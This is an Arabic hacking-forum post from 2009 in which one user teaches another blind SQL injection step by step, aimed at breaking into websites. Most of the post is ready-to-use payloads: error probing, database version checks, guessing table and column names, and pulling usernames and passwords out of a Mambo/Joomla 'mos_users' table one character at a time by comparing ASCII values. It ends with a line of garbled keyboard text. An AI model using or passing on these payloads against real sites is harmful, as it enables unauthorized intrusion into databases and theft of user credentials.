:: vBspiders Professional Network :: - عرض مشاركة واحدة

KaLa$nikoV · 10-29-2009, 08:36 PM

ربنا يوفقني

volcano
بتعلم هكر البلايند
وان شاء الله ينجح بالتعليم

اقتباس


	volcano

بقلك فولكانو لا تفكر تخترق بالبلايند اذا ما بتعرف تقليدي

يلا نتابع

امر اكتشاف الخطأ

اقتباس


	'

2- امر التاكد من ان البلايند يعمل

اقتباس


	and (select 1)=1

3- امر معرفه اصدار القاعده

اقتباس


	and substring(@@version,1,1)=5

اقتباس


	and substring(@@version,1,1)=4

4- امر لمعرفه اسم الجدول نستعمل امر

اقتباس


	and (select 1 from table_name limit 0,1)=1

5-

امر لمعرفه اسم عامود اليوزر والباسوورد نستعمل هذا الامر

اقتباس


	and (select substring(concat(1,column_name),1,1) from table_name limit 0,1)=1

6- اليوزر نيم والباسورد بحقنه واحده

اقتباس


	and (select substring(concat(1,concat(username,0x3a,password)) ,1,1) from mos_users limit 0,1)=1

7-

اللعب مع تشفير
ascii
لاستخارج اليوزر والباسورد
فولكانو هكر تابع

اقتباس


	and ascii(substring((SELECT concat(username,0x3a,password) from mos_users limit 0,1),1,1))>1

هنا نزود باللعبه

على

اقتباس


	1,1))>1

سطر فولكانو الاحمر انتبه
-------------------volcano--------------------

اقتباس


	1,1))>2

اقتباس


	1,1))>3

وهكذا ليطلع لنا الخطا

ثم بعدها نلعب بنفس الطريقه لكن العد بكون هون

اقتباس


	2,1))>1

ونكمل بزياده على نفس الاسلوب
من عند سطر فولكانو الاحمر
السابق
لحتى يرجع لنا خطا
وهطذا

الان بس نخلص نجمع الارقام الي تطلع لنا

ونروح لهذا الموقع

اقتباس


	http://www.commentcamarche.net/co nt...ase/ascii.php3

لحتى نفك التشفير

بالتوفيق

ولا اخو 8898998
يسرق الموضوع لانه فهي اخطاء لسا ما خلصته
بس اخلصه بقلكم الطشوه يا 89088

المصدر: :: vBspiders Professional Network ::

jvjdf hgo',hj ggfghd] s;,g